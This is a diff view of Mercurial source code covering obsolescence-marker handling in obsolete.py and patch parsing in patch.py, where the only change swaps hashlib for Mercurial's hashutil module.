849 currentpart = []
848 currentlen = 0
850 currentlen = 0
849 parts.append(currentpart)
851 parts.append(currentpart)
850 currentpart.append(nextdata)
852 currentpart.append(nextdata)
851 currentlen += len(nextdata)
853 currentlen += len(nextdata)
852 for idx, part in enumerate(reversed(parts)):
854 for idx, part in enumerate(reversed(parts)):
853 data = b''.join([_pack(b'>B', _fm0version)] + part)
855 data = b''.join([_pack(b'>B', _fm0version)] + part)
854 keys[b'dump%i' % idx] = util.b85encode(data)
856 keys[b'dump%i' % idx] = util.b85encode(data)
855 return keys
857 return keys
856
858
857
859
858 def listmarkers(repo):
860 def listmarkers(repo):
859 """List markers over pushkey"""
861 """List markers over pushkey"""
860 if not repo.obsstore:
862 if not repo.obsstore:
861 return {}
863 return {}
862 return _pushkeyescape(sorted(repo.obsstore))
864 return _pushkeyescape(sorted(repo.obsstore))
863
865
864
866
865 def pushmarker(repo, key, old, new):
867 def pushmarker(repo, key, old, new):
866 """Push markers over pushkey"""
868 """Push markers over pushkey"""
867 if not key.startswith(b'dump'):
869 if not key.startswith(b'dump'):
868 repo.ui.warn(_(b'unknown key: %r') % key)
870 repo.ui.warn(_(b'unknown key: %r') % key)
869 return False
871 return False
870 if old:
872 if old:
871 repo.ui.warn(_(b'unexpected old value for %r') % key)
873 repo.ui.warn(_(b'unexpected old value for %r') % key)
872 return False
874 return False
873 data = util.b85decode(new)
875 data = util.b85decode(new)
874 with repo.lock(), repo.transaction(b'pushkey: obsolete markers') as tr:
876 with repo.lock(), repo.transaction(b'pushkey: obsolete markers') as tr:
875 repo.obsstore.mergemarkers(tr, data)
877 repo.obsstore.mergemarkers(tr, data)
876 repo.invalidatevolatilesets()
878 repo.invalidatevolatilesets()
877 return True
879 return True
878
880
879
881
880 # mapping of 'set-name' -> <function to compute this set>
882 # mapping of 'set-name' -> <function to compute this set>
881 cachefuncs = {}
883 cachefuncs = {}
882
884
883
885
884 def cachefor(name):
886 def cachefor(name):
885 """Decorator to register a function as computing the cache for a set"""
887 """Decorator to register a function as computing the cache for a set"""
886
888
887 def decorator(func):
889 def decorator(func):
888 if name in cachefuncs:
890 if name in cachefuncs:
889 msg = b"duplicated registration for volatileset '%s' (existing: %r)"
891 msg = b"duplicated registration for volatileset '%s' (existing: %r)"
890 raise error.ProgrammingError(msg % (name, cachefuncs[name]))
892 raise error.ProgrammingError(msg % (name, cachefuncs[name]))
891 cachefuncs[name] = func
893 cachefuncs[name] = func
892 return func
894 return func
893
895
894 return decorator
896 return decorator
895
897
896
898
897 def getrevs(repo, name):
899 def getrevs(repo, name):
898 """Return the set of revision that belong to the <name> set
900 """Return the set of revision that belong to the <name> set
899
901
900 Such access may compute the set and cache it for future use"""
902 Such access may compute the set and cache it for future use"""
901 repo = repo.unfiltered()
903 repo = repo.unfiltered()
902 with util.timedcm('getrevs %s', name):
904 with util.timedcm('getrevs %s', name):
903 if not repo.obsstore:
905 if not repo.obsstore:
904 return frozenset()
906 return frozenset()
905 if name not in repo.obsstore.caches:
907 if name not in repo.obsstore.caches:
906 repo.obsstore.caches[name] = cachefuncs[name](repo)
908 repo.obsstore.caches[name] = cachefuncs[name](repo)
907 return repo.obsstore.caches[name]
909 return repo.obsstore.caches[name]
908
910
909
911
910 # To be simple we need to invalidate obsolescence cache when:
912 # To be simple we need to invalidate obsolescence cache when:
911 #
913 #
912 # - new changeset is added:
914 # - new changeset is added:
913 # - public phase is changed
915 # - public phase is changed
914 # - obsolescence marker are added
916 # - obsolescence marker are added
915 # - strip is used a repo
917 # - strip is used a repo
916 def clearobscaches(repo):
918 def clearobscaches(repo):
917 """Remove all obsolescence related cache from a repo
919 """Remove all obsolescence related cache from a repo
918
920
919 This remove all cache in obsstore is the obsstore already exist on the
921 This remove all cache in obsstore is the obsstore already exist on the
920 repo.
922 repo.
921
923
922 (We could be smarter here given the exact event that trigger the cache
924 (We could be smarter here given the exact event that trigger the cache
923 clearing)"""
925 clearing)"""
924 # only clear cache is there is obsstore data in this repo
926 # only clear cache is there is obsstore data in this repo
925 if b'obsstore' in repo._filecache:
927 if b'obsstore' in repo._filecache:
926 repo.obsstore.caches.clear()
928 repo.obsstore.caches.clear()
927
929
928
930
929 def _mutablerevs(repo):
931 def _mutablerevs(repo):
930 """the set of mutable revision in the repository"""
932 """the set of mutable revision in the repository"""
931 return repo._phasecache.getrevset(repo, phases.mutablephases)
933 return repo._phasecache.getrevset(repo, phases.mutablephases)
932
934
933
935
934 @cachefor(b'obsolete')
936 @cachefor(b'obsolete')
935 def _computeobsoleteset(repo):
937 def _computeobsoleteset(repo):
936 """the set of obsolete revisions"""
938 """the set of obsolete revisions"""
937 getnode = repo.changelog.node
939 getnode = repo.changelog.node
938 notpublic = _mutablerevs(repo)
940 notpublic = _mutablerevs(repo)
939 isobs = repo.obsstore.successors.__contains__
941 isobs = repo.obsstore.successors.__contains__
940 obs = set(r for r in notpublic if isobs(getnode(r)))
942 obs = set(r for r in notpublic if isobs(getnode(r)))
941 return obs
943 return obs
942
944
943
945
944 @cachefor(b'orphan')
946 @cachefor(b'orphan')
945 def _computeorphanset(repo):
947 def _computeorphanset(repo):
946 """the set of non obsolete revisions with obsolete parents"""
948 """the set of non obsolete revisions with obsolete parents"""
947 pfunc = repo.changelog.parentrevs
949 pfunc = repo.changelog.parentrevs
948 mutable = _mutablerevs(repo)
950 mutable = _mutablerevs(repo)
949 obsolete = getrevs(repo, b'obsolete')
951 obsolete = getrevs(repo, b'obsolete')
950 others = mutable - obsolete
952 others = mutable - obsolete
951 unstable = set()
953 unstable = set()
952 for r in sorted(others):
954 for r in sorted(others):
953 # A rev is unstable if one of its parent is obsolete or unstable
955 # A rev is unstable if one of its parent is obsolete or unstable
954 # this works since we traverse following growing rev order
956 # this works since we traverse following growing rev order
955 for p in pfunc(r):
957 for p in pfunc(r):
956 if p in obsolete or p in unstable:
958 if p in obsolete or p in unstable:
957 unstable.add(r)
959 unstable.add(r)
958 break
960 break
959 return unstable
961 return unstable
960
962
961
963
962 @cachefor(b'suspended')
964 @cachefor(b'suspended')
963 def _computesuspendedset(repo):
965 def _computesuspendedset(repo):
964 """the set of obsolete parents with non obsolete descendants"""
966 """the set of obsolete parents with non obsolete descendants"""
965 suspended = repo.changelog.ancestors(getrevs(repo, b'orphan'))
967 suspended = repo.changelog.ancestors(getrevs(repo, b'orphan'))
966 return set(r for r in getrevs(repo, b'obsolete') if r in suspended)
968 return set(r for r in getrevs(repo, b'obsolete') if r in suspended)
967
969
968
970
969 @cachefor(b'extinct')
971 @cachefor(b'extinct')
970 def _computeextinctset(repo):
972 def _computeextinctset(repo):
971 """the set of obsolete parents without non obsolete descendants"""
973 """the set of obsolete parents without non obsolete descendants"""
972 return getrevs(repo, b'obsolete') - getrevs(repo, b'suspended')
974 return getrevs(repo, b'obsolete') - getrevs(repo, b'suspended')
973
975
974
976
975 @cachefor(b'phasedivergent')
977 @cachefor(b'phasedivergent')
976 def _computephasedivergentset(repo):
978 def _computephasedivergentset(repo):
977 """the set of revs trying to obsolete public revisions"""
979 """the set of revs trying to obsolete public revisions"""
978 bumped = set()
980 bumped = set()
979 # util function (avoid attribute lookup in the loop)
981 # util function (avoid attribute lookup in the loop)
980 phase = repo._phasecache.phase # would be faster to grab the full list
982 phase = repo._phasecache.phase # would be faster to grab the full list
981 public = phases.public
983 public = phases.public
982 cl = repo.changelog
984 cl = repo.changelog
983 torev = cl.index.get_rev
985 torev = cl.index.get_rev
984 tonode = cl.node
986 tonode = cl.node
985 obsstore = repo.obsstore
987 obsstore = repo.obsstore
986 for rev in repo.revs(b'(not public()) and (not obsolete())'):
988 for rev in repo.revs(b'(not public()) and (not obsolete())'):
987 # We only evaluate mutable, non-obsolete revision
989 # We only evaluate mutable, non-obsolete revision
988 node = tonode(rev)
990 node = tonode(rev)
989 # (future) A cache of predecessors may worth if split is very common
991 # (future) A cache of predecessors may worth if split is very common
990 for pnode in obsutil.allpredecessors(
992 for pnode in obsutil.allpredecessors(
991 obsstore, [node], ignoreflags=bumpedfix
993 obsstore, [node], ignoreflags=bumpedfix
992 ):
994 ):
993 prev = torev(pnode) # unfiltered! but so is phasecache
995 prev = torev(pnode) # unfiltered! but so is phasecache
994 if (prev is not None) and (phase(repo, prev) <= public):
996 if (prev is not None) and (phase(repo, prev) <= public):
995 # we have a public predecessor
997 # we have a public predecessor
996 bumped.add(rev)
998 bumped.add(rev)
997 break # Next draft!
999 break # Next draft!
998 return bumped
1000 return bumped
999
1001
1000
1002
1001 @cachefor(b'contentdivergent')
1003 @cachefor(b'contentdivergent')
1002 def _computecontentdivergentset(repo):
1004 def _computecontentdivergentset(repo):
1003 """the set of rev that compete to be the final successors of some revision.
1005 """the set of rev that compete to be the final successors of some revision.
1004 """
1006 """
1005 divergent = set()
1007 divergent = set()
1006 obsstore = repo.obsstore
1008 obsstore = repo.obsstore
1007 newermap = {}
1009 newermap = {}
1008 tonode = repo.changelog.node
1010 tonode = repo.changelog.node
1009 for rev in repo.revs(b'(not public()) - obsolete()'):
1011 for rev in repo.revs(b'(not public()) - obsolete()'):
1010 node = tonode(rev)
1012 node = tonode(rev)
1011 mark = obsstore.predecessors.get(node, ())
1013 mark = obsstore.predecessors.get(node, ())
1012 toprocess = set(mark)
1014 toprocess = set(mark)
1013 seen = set()
1015 seen = set()
1014 while toprocess:
1016 while toprocess:
1015 prec = toprocess.pop()[0]
1017 prec = toprocess.pop()[0]
1016 if prec in seen:
1018 if prec in seen:
1017 continue # emergency cycle hanging prevention
1019 continue # emergency cycle hanging prevention
1018 seen.add(prec)
1020 seen.add(prec)
1019 if prec not in newermap:
1021 if prec not in newermap:
1020 obsutil.successorssets(repo, prec, cache=newermap)
1022 obsutil.successorssets(repo, prec, cache=newermap)
1021 newer = [n for n in newermap[prec] if n]
1023 newer = [n for n in newermap[prec] if n]
1022 if len(newer) > 1:
1024 if len(newer) > 1:
1023 divergent.add(rev)
1025 divergent.add(rev)
1024 break
1026 break
1025 toprocess.update(obsstore.predecessors.get(prec, ()))
1027 toprocess.update(obsstore.predecessors.get(prec, ()))
1026 return divergent
1028 return divergent
1027
1029
1028
1030
1029 def makefoldid(relation, user):
1031 def makefoldid(relation, user):
1030
1032
1031 folddigest = hashlib.sha1(user)
1033 folddigest = hashutil.sha1(user)
1032 for p in relation[0] + relation[1]:
1034 for p in relation[0] + relation[1]:
1033 folddigest.update(b'%d' % p.rev())
1035 folddigest.update(b'%d' % p.rev())
1034 folddigest.update(p.node())
1036 folddigest.update(p.node())
1035 # Since fold only has to compete against fold for the same successors, it
1037 # Since fold only has to compete against fold for the same successors, it
1036 # seems fine to use a small ID. Smaller ID save space.
1038 # seems fine to use a small ID. Smaller ID save space.
1037 return node.hex(folddigest.digest())[:8]
1039 return node.hex(folddigest.digest())[:8]
1038
1040
1039
1041
1040 def createmarkers(
1042 def createmarkers(
1041 repo, relations, flag=0, date=None, metadata=None, operation=None
1043 repo, relations, flag=0, date=None, metadata=None, operation=None
1042 ):
1044 ):
1043 """Add obsolete markers between changesets in a repo
1045 """Add obsolete markers between changesets in a repo
1044
1046
1045 <relations> must be an iterable of ((<old>,...), (<new>, ...)[,{metadata}])
1047 <relations> must be an iterable of ((<old>,...), (<new>, ...)[,{metadata}])
1046 tuple. `old` and `news` are changectx. metadata is an optional dictionary
1048 tuple. `old` and `news` are changectx. metadata is an optional dictionary
1047 containing metadata for this marker only. It is merged with the global
1049 containing metadata for this marker only. It is merged with the global
1048 metadata specified through the `metadata` argument of this function.
1050 metadata specified through the `metadata` argument of this function.
1049 Any string values in metadata must be UTF-8 bytes.
1051 Any string values in metadata must be UTF-8 bytes.
1050
1052
1051 Trying to obsolete a public changeset will raise an exception.
1053 Trying to obsolete a public changeset will raise an exception.
1052
1054
1053 Current user and date are used except if specified otherwise in the
1055 Current user and date are used except if specified otherwise in the
1054 metadata attribute.
1056 metadata attribute.
1055
1057
1056 This function operates within a transaction of its own, but does
1058 This function operates within a transaction of its own, but does
1057 not take any lock on the repo.
1059 not take any lock on the repo.
1058 """
1060 """
1059 # prepare metadata
1061 # prepare metadata
1060 if metadata is None:
1062 if metadata is None:
1061 metadata = {}
1063 metadata = {}
1062 if b'user' not in metadata:
1064 if b'user' not in metadata:
1063 luser = (
1065 luser = (
1064 repo.ui.config(b'devel', b'user.obsmarker') or repo.ui.username()
1066 repo.ui.config(b'devel', b'user.obsmarker') or repo.ui.username()
1065 )
1067 )
1066 metadata[b'user'] = encoding.fromlocal(luser)
1068 metadata[b'user'] = encoding.fromlocal(luser)
1067
1069
1068 # Operation metadata handling
1070 # Operation metadata handling
1069 useoperation = repo.ui.configbool(
1071 useoperation = repo.ui.configbool(
1070 b'experimental', b'evolution.track-operation'
1072 b'experimental', b'evolution.track-operation'
1071 )
1073 )
1072 if useoperation and operation:
1074 if useoperation and operation:
1073 metadata[b'operation'] = operation
1075 metadata[b'operation'] = operation
1074
1076
1075 # Effect flag metadata handling
1077 # Effect flag metadata handling
1076 saveeffectflag = repo.ui.configbool(
1078 saveeffectflag = repo.ui.configbool(
1077 b'experimental', b'evolution.effect-flags'
1079 b'experimental', b'evolution.effect-flags'
1078 )
1080 )
1079
1081
1080 with repo.transaction(b'add-obsolescence-marker') as tr:
1082 with repo.transaction(b'add-obsolescence-marker') as tr:
1081 markerargs = []
1083 markerargs = []
1082 for rel in relations:
1084 for rel in relations:
1083 predecessors = rel[0]
1085 predecessors = rel[0]
1084 if not isinstance(predecessors, tuple):
1086 if not isinstance(predecessors, tuple):
1085 # preserve compat with old API until all caller are migrated
1087 # preserve compat with old API until all caller are migrated
1086 predecessors = (predecessors,)
1088 predecessors = (predecessors,)
1087 if len(predecessors) > 1 and len(rel[1]) != 1:
1089 if len(predecessors) > 1 and len(rel[1]) != 1:
1088 msg = b'Fold markers can only have 1 successors, not %d'
1090 msg = b'Fold markers can only have 1 successors, not %d'
1089 raise error.ProgrammingError(msg % len(rel[1]))
1091 raise error.ProgrammingError(msg % len(rel[1]))
1090 foldid = None
1092 foldid = None
1091 foldsize = len(predecessors)
1093 foldsize = len(predecessors)
1092 if 1 < foldsize:
1094 if 1 < foldsize:
1093 foldid = makefoldid(rel, metadata[b'user'])
1095 foldid = makefoldid(rel, metadata[b'user'])
1094 for foldidx, prec in enumerate(predecessors, 1):
1096 for foldidx, prec in enumerate(predecessors, 1):
1095 sucs = rel[1]
1097 sucs = rel[1]
1096 localmetadata = metadata.copy()
1098 localmetadata = metadata.copy()
1097 if len(rel) > 2:
1099 if len(rel) > 2:
1098 localmetadata.update(rel[2])
1100 localmetadata.update(rel[2])
1099 if foldid is not None:
1101 if foldid is not None:
1100 localmetadata[b'fold-id'] = foldid
1102 localmetadata[b'fold-id'] = foldid
1101 localmetadata[b'fold-idx'] = b'%d' % foldidx
1103 localmetadata[b'fold-idx'] = b'%d' % foldidx
1102 localmetadata[b'fold-size'] = b'%d' % foldsize
1104 localmetadata[b'fold-size'] = b'%d' % foldsize
1103
1105
1104 if not prec.mutable():
1106 if not prec.mutable():
1105 raise error.Abort(
1107 raise error.Abort(
1106 _(b"cannot obsolete public changeset: %s") % prec,
1108 _(b"cannot obsolete public changeset: %s") % prec,
1107 hint=b"see 'hg help phases' for details",
1109 hint=b"see 'hg help phases' for details",
1108 )
1110 )
1109 nprec = prec.node()
1111 nprec = prec.node()
1110 nsucs = tuple(s.node() for s in sucs)
1112 nsucs = tuple(s.node() for s in sucs)
1111 npare = None
1113 npare = None
1112 if not nsucs:
1114 if not nsucs:
1113 npare = tuple(p.node() for p in prec.parents())
1115 npare = tuple(p.node() for p in prec.parents())
1114 if nprec in nsucs:
1116 if nprec in nsucs:
1115 raise error.Abort(
1117 raise error.Abort(
1116 _(b"changeset %s cannot obsolete itself") % prec
1118 _(b"changeset %s cannot obsolete itself") % prec
1117 )
1119 )
1118
1120
1119 # Effect flag can be different by relation
1121 # Effect flag can be different by relation
1120 if saveeffectflag:
1122 if saveeffectflag:
1121 # The effect flag is saved in a versioned field name for
1123 # The effect flag is saved in a versioned field name for
1122 # future evolution
1124 # future evolution
1123 effectflag = obsutil.geteffectflag(prec, sucs)
1125 effectflag = obsutil.geteffectflag(prec, sucs)
1124 localmetadata[obsutil.EFFECTFLAGFIELD] = b"%d" % effectflag
1126 localmetadata[obsutil.EFFECTFLAGFIELD] = b"%d" % effectflag
1125
1127
1126 # Creating the marker causes the hidden cache to become
1128 # Creating the marker causes the hidden cache to become
1127 # invalid, which causes recomputation when we ask for
1129 # invalid, which causes recomputation when we ask for
1128 # prec.parents() above. Resulting in n^2 behavior. So let's
1130 # prec.parents() above. Resulting in n^2 behavior. So let's
1129 # prepare all of the args first, then create the markers.
1131 # prepare all of the args first, then create the markers.
1130 markerargs.append((nprec, nsucs, npare, localmetadata))
1132 markerargs.append((nprec, nsucs, npare, localmetadata))
1131
1133
1132 for args in markerargs:
1134 for args in markerargs:
1133 nprec, nsucs, npare, localmetadata = args
1135 nprec, nsucs, npare, localmetadata = args
1134 repo.obsstore.create(
1136 repo.obsstore.create(
1135 tr,
1137 tr,
1136 nprec,
1138 nprec,
1137 nsucs,
1139 nsucs,
1138 flag,
1140 flag,
1139 parents=npare,
1141 parents=npare,
1140 date=date,
1142 date=date,
1141 metadata=localmetadata,
1143 metadata=localmetadata,
1142 ui=repo.ui,
1144 ui=repo.ui,
1143 )
1145 )
1144 repo.filteredrevcache.clear()
1146 repo.filteredrevcache.clear()
@@ -1,3226 +1,3226
1 # patch.py - patch file parsing routines
1 # patch.py - patch file parsing routines
2 #
2 #
3 # Copyright 2006 Brendan Cully <brendan@kublai.com>
3 # Copyright 2006 Brendan Cully <brendan@kublai.com>
4 # Copyright 2007 Chris Mason <chris.mason@oracle.com>
4 # Copyright 2007 Chris Mason <chris.mason@oracle.com>
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 from __future__ import absolute_import, print_function
9 from __future__ import absolute_import, print_function
10
10
11 import collections
11 import collections
12 import contextlib
12 import contextlib
13 import copy
13 import copy
14 import errno
14 import errno
15 import hashlib
16 import os
15 import os
17 import re
16 import re
18 import shutil
17 import shutil
19 import zlib
18 import zlib
20
19
21 from .i18n import _
20 from .i18n import _
22 from .node import (
21 from .node import (
23 hex,
22 hex,
24 short,
23 short,
25 )
24 )
26 from .pycompat import open
25 from .pycompat import open
27 from . import (
26 from . import (
28 copies,
27 copies,
29 diffhelper,
28 diffhelper,
30 diffutil,
29 diffutil,
31 encoding,
30 encoding,
32 error,
31 error,
33 mail,
32 mail,
34 mdiff,
33 mdiff,
35 pathutil,
34 pathutil,
36 pycompat,
35 pycompat,
37 scmutil,
36 scmutil,
38 similar,
37 similar,
39 util,
38 util,
40 vfs as vfsmod,
39 vfs as vfsmod,
41 )
40 )
42 from .utils import (
41 from .utils import (
43 dateutil,
42 dateutil,
43 hashutil,
44 procutil,
44 procutil,
45 stringutil,
45 stringutil,
46 )
46 )
47
47
48 stringio = util.stringio
48 stringio = util.stringio
49
49
50 gitre = re.compile(br'diff --git a/(.*) b/(.*)')
50 gitre = re.compile(br'diff --git a/(.*) b/(.*)')
51 tabsplitter = re.compile(br'(\t+|[^\t]+)')
51 tabsplitter = re.compile(br'(\t+|[^\t]+)')
52 wordsplitter = re.compile(
52 wordsplitter = re.compile(
53 br'(\t+| +|[a-zA-Z0-9_\x80-\xff]+|[^ \ta-zA-Z0-9_\x80-\xff])'
53 br'(\t+| +|[a-zA-Z0-9_\x80-\xff]+|[^ \ta-zA-Z0-9_\x80-\xff])'
54 )
54 )
55
55
56 PatchError = error.PatchError
56 PatchError = error.PatchError
57
57
58 # public functions
58 # public functions
59
59
60
60
61 def split(stream):
61 def split(stream):
62 '''return an iterator of individual patches from a stream'''
62 '''return an iterator of individual patches from a stream'''
63
63
64 def isheader(line, inheader):
64 def isheader(line, inheader):
65 if inheader and line.startswith((b' ', b'\t')):
65 if inheader and line.startswith((b' ', b'\t')):
66 # continuation
66 # continuation
67 return True
67 return True
68 if line.startswith((b' ', b'-', b'+')):
68 if line.startswith((b' ', b'-', b'+')):
69 # diff line - don't check for header pattern in there
69 # diff line - don't check for header pattern in there
70 return False
70 return False
71 l = line.split(b': ', 1)
71 l = line.split(b': ', 1)
72 return len(l) == 2 and b' ' not in l[0]
72 return len(l) == 2 and b' ' not in l[0]
73
73
74 def chunk(lines):
74 def chunk(lines):
75 return stringio(b''.join(lines))
75 return stringio(b''.join(lines))
76
76
77 def hgsplit(stream, cur):
77 def hgsplit(stream, cur):
78 inheader = True
78 inheader = True
79
79
80 for line in stream:
80 for line in stream:
81 if not line.strip():
81 if not line.strip():
82 inheader = False
82 inheader = False
83 if not inheader and line.startswith(b'# HG changeset patch'):
83 if not inheader and line.startswith(b'# HG changeset patch'):
84 yield chunk(cur)
84 yield chunk(cur)
85 cur = []
85 cur = []
86 inheader = True
86 inheader = True
87
87
88 cur.append(line)
88 cur.append(line)
89
89
90 if cur:
90 if cur:
91 yield chunk(cur)
91 yield chunk(cur)
92
92
93 def mboxsplit(stream, cur):
93 def mboxsplit(stream, cur):
94 for line in stream:
94 for line in stream:
95 if line.startswith(b'From '):
95 if line.startswith(b'From '):
96 for c in split(chunk(cur[1:])):
96 for c in split(chunk(cur[1:])):
97 yield c
97 yield c
98 cur = []
98 cur = []
99
99
100 cur.append(line)
100 cur.append(line)
101
101
102 if cur:
102 if cur:
103 for c in split(chunk(cur[1:])):
103 for c in split(chunk(cur[1:])):
104 yield c
104 yield c
105
105
106 def mimesplit(stream, cur):
106 def mimesplit(stream, cur):
107 def msgfp(m):
107 def msgfp(m):
108 fp = stringio()
108 fp = stringio()
109 g = mail.Generator(fp, mangle_from_=False)
109 g = mail.Generator(fp, mangle_from_=False)
110 g.flatten(m)
110 g.flatten(m)
111 fp.seek(0)
111 fp.seek(0)
112 return fp
112 return fp
113
113
114 for line in stream:
114 for line in stream:
115 cur.append(line)
115 cur.append(line)
116 c = chunk(cur)
116 c = chunk(cur)
117
117
118 m = mail.parse(c)
118 m = mail.parse(c)
119 if not m.is_multipart():
119 if not m.is_multipart():
120 yield msgfp(m)
120 yield msgfp(m)
121 else:
121 else:
122 ok_types = (b'text/plain', b'text/x-diff', b'text/x-patch')
122 ok_types = (b'text/plain', b'text/x-diff', b'text/x-patch')
123 for part in m.walk():
123 for part in m.walk():
124 ct = part.get_content_type()
124 ct = part.get_content_type()
125 if ct not in ok_types:
125 if ct not in ok_types:
126 continue
126 continue
127 yield msgfp(part)
127 yield msgfp(part)
128
128
129 def headersplit(stream, cur):
129 def headersplit(stream, cur):
130 inheader = False
130 inheader = False
131
131
132 for line in stream:
132 for line in stream:
133 if not inheader and isheader(line, inheader):
133 if not inheader and isheader(line, inheader):
134 yield chunk(cur)
134 yield chunk(cur)
135 cur = []
135 cur = []
136 inheader = True
136 inheader = True
137 if inheader and not isheader(line, inheader):
137 if inheader and not isheader(line, inheader):
138 inheader = False
138 inheader = False
139
139
140 cur.append(line)
140 cur.append(line)
141
141
142 if cur:
142 if cur:
143 yield chunk(cur)
143 yield chunk(cur)
144
144
145 def remainder(cur):
145 def remainder(cur):
146 yield chunk(cur)
146 yield chunk(cur)
147
147
148 class fiter(object):
148 class fiter(object):
149 def __init__(self, fp):
149 def __init__(self, fp):
150 self.fp = fp
150 self.fp = fp
151
151
152 def __iter__(self):
152 def __iter__(self):
153 return self
153 return self
154
154
155 def next(self):
155 def next(self):
156 l = self.fp.readline()
156 l = self.fp.readline()
157 if not l:
157 if not l:
158 raise StopIteration
158 raise StopIteration
159 return l
159 return l
160
160
161 __next__ = next
161 __next__ = next
162
162
163 inheader = False
163 inheader = False
164 cur = []
164 cur = []
165
165
166 mimeheaders = [b'content-type']
166 mimeheaders = [b'content-type']
167
167
168 if not util.safehasattr(stream, b'next'):
168 if not util.safehasattr(stream, b'next'):
169 # http responses, for example, have readline but not next
169 # http responses, for example, have readline but not next
170 stream = fiter(stream)
170 stream = fiter(stream)
171
171
172 for line in stream:
172 for line in stream:
173 cur.append(line)
173 cur.append(line)
174 if line.startswith(b'# HG changeset patch'):
174 if line.startswith(b'# HG changeset patch'):
175 return hgsplit(stream, cur)
175 return hgsplit(stream, cur)
176 elif line.startswith(b'From '):
176 elif line.startswith(b'From '):
177 return mboxsplit(stream, cur)
177 return mboxsplit(stream, cur)
178 elif isheader(line, inheader):
178 elif isheader(line, inheader):
179 inheader = True
179 inheader = True
180 if line.split(b':', 1)[0].lower() in mimeheaders:
180 if line.split(b':', 1)[0].lower() in mimeheaders:
181 # let email parser handle this
181 # let email parser handle this
182 return mimesplit(stream, cur)
182 return mimesplit(stream, cur)
183 elif line.startswith(b'--- ') and inheader:
183 elif line.startswith(b'--- ') and inheader:
184 # No evil headers seen by diff start, split by hand
184 # No evil headers seen by diff start, split by hand
185 return headersplit(stream, cur)
185 return headersplit(stream, cur)
186 # Not enough info, keep reading
186 # Not enough info, keep reading
187
187
188 # if we are here, we have a very plain patch
188 # if we are here, we have a very plain patch
189 return remainder(cur)
189 return remainder(cur)
190
190
191
191
192 ## Some facility for extensible patch parsing:
192 ## Some facility for extensible patch parsing:
193 # list of pairs ("header to match", "data key")
193 # list of pairs ("header to match", "data key")
194 patchheadermap = [
194 patchheadermap = [
195 (b'Date', b'date'),
195 (b'Date', b'date'),
196 (b'Branch', b'branch'),
196 (b'Branch', b'branch'),
197 (b'Node ID', b'nodeid'),
197 (b'Node ID', b'nodeid'),
198 ]
198 ]
199
199
200
200
201 @contextlib.contextmanager
201 @contextlib.contextmanager
202 def extract(ui, fileobj):
202 def extract(ui, fileobj):
203 '''extract patch from data read from fileobj.
203 '''extract patch from data read from fileobj.
204
204
205 patch can be a normal patch or contained in an email message.
205 patch can be a normal patch or contained in an email message.
206
206
207 return a dictionary. Standard keys are:
207 return a dictionary. Standard keys are:
208 - filename,
208 - filename,
209 - message,
209 - message,
210 - user,
210 - user,
211 - date,
211 - date,
212 - branch,
212 - branch,
213 - node,
213 - node,
214 - p1,
214 - p1,
215 - p2.
215 - p2.
216 Any item can be missing from the dictionary. If filename is missing,
216 Any item can be missing from the dictionary. If filename is missing,
217 fileobj did not contain a patch. Caller must unlink filename when done.'''
217 fileobj did not contain a patch. Caller must unlink filename when done.'''
218
218
219 fd, tmpname = pycompat.mkstemp(prefix=b'hg-patch-')
219 fd, tmpname = pycompat.mkstemp(prefix=b'hg-patch-')
220 tmpfp = os.fdopen(fd, 'wb')
220 tmpfp = os.fdopen(fd, 'wb')
221 try:
221 try:
222 yield _extract(ui, fileobj, tmpname, tmpfp)
222 yield _extract(ui, fileobj, tmpname, tmpfp)
223 finally:
223 finally:
224 tmpfp.close()
224 tmpfp.close()
225 os.unlink(tmpname)
225 os.unlink(tmpname)
226
226
227
227
228 def _extract(ui, fileobj, tmpname, tmpfp):
228 def _extract(ui, fileobj, tmpname, tmpfp):
229
229
230 # attempt to detect the start of a patch
230 # attempt to detect the start of a patch
231 # (this heuristic is borrowed from quilt)
231 # (this heuristic is borrowed from quilt)
232 diffre = re.compile(
232 diffre = re.compile(
233 br'^(?:Index:[ \t]|diff[ \t]-|RCS file: |'
233 br'^(?:Index:[ \t]|diff[ \t]-|RCS file: |'
234 br'retrieving revision [0-9]+(\.[0-9]+)*$|'
234 br'retrieving revision [0-9]+(\.[0-9]+)*$|'
235 br'---[ \t].*?^\+\+\+[ \t]|'
235 br'---[ \t].*?^\+\+\+[ \t]|'
236 br'\*\*\*[ \t].*?^---[ \t])',
236 br'\*\*\*[ \t].*?^---[ \t])',
237 re.MULTILINE | re.DOTALL,
237 re.MULTILINE | re.DOTALL,
238 )
238 )
239
239
240 data = {}
240 data = {}
241
241
242 msg = mail.parse(fileobj)
242 msg = mail.parse(fileobj)
243
243
244 subject = msg['Subject'] and mail.headdecode(msg['Subject'])
244 subject = msg['Subject'] and mail.headdecode(msg['Subject'])
245 data[b'user'] = msg['From'] and mail.headdecode(msg['From'])
245 data[b'user'] = msg['From'] and mail.headdecode(msg['From'])
246 if not subject and not data[b'user']:
246 if not subject and not data[b'user']:
247 # Not an email, restore parsed headers if any
247 # Not an email, restore parsed headers if any
248 subject = (
248 subject = (
249 b'\n'.join(
249 b'\n'.join(
250 b': '.join(map(encoding.strtolocal, h)) for h in msg.items()
250 b': '.join(map(encoding.strtolocal, h)) for h in msg.items()
251 )
251 )
252 + b'\n'
252 + b'\n'
253 )
253 )
254
254
255 # should try to parse msg['Date']
255 # should try to parse msg['Date']
256 parents = []
256 parents = []
257
257
258 nodeid = msg['X-Mercurial-Node']
258 nodeid = msg['X-Mercurial-Node']
259 if nodeid:
259 if nodeid:
260 data[b'nodeid'] = nodeid = mail.headdecode(nodeid)
260 data[b'nodeid'] = nodeid = mail.headdecode(nodeid)
261 ui.debug(b'Node ID: %s\n' % nodeid)
261 ui.debug(b'Node ID: %s\n' % nodeid)
262
262
263 if subject:
263 if subject:
264 if subject.startswith(b'[PATCH'):
264 if subject.startswith(b'[PATCH'):
265 pend = subject.find(b']')
265 pend = subject.find(b']')
266 if pend >= 0:
266 if pend >= 0:
267 subject = subject[pend + 1 :].lstrip()
267 subject = subject[pend + 1 :].lstrip()
268 subject = re.sub(br'\n[ \t]+', b' ', subject)
268 subject = re.sub(br'\n[ \t]+', b' ', subject)
269 ui.debug(b'Subject: %s\n' % subject)
269 ui.debug(b'Subject: %s\n' % subject)
270 if data[b'user']:
270 if data[b'user']:
271 ui.debug(b'From: %s\n' % data[b'user'])
271 ui.debug(b'From: %s\n' % data[b'user'])
272 diffs_seen = 0
272 diffs_seen = 0
273 ok_types = (b'text/plain', b'text/x-diff', b'text/x-patch')
